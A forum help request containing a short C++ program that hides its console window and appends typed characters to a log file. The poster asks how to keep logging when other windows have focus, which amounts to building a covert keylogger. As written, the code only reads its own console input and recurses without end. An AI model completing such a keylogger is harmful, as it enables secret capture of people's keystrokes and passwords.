#include <iostream>
#include <cstdlib>
#include <windows.h>
#include <fstream>
using namespace std;
void loger();
int main()
{
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
loger();
return 0;
}
void loger()
{
char typed;
cin >> typed;
ofstream myfile;
myfile.open ("log.txt", ios::out | ios::app | ios::binary);
myfile << typed;
myfile.close();
loger();
}
It works exept it wont show spaces, and if you click on something else after its open it wont log any more. Is there any way to fix this?

Sign In
Register
Help


MultiQuote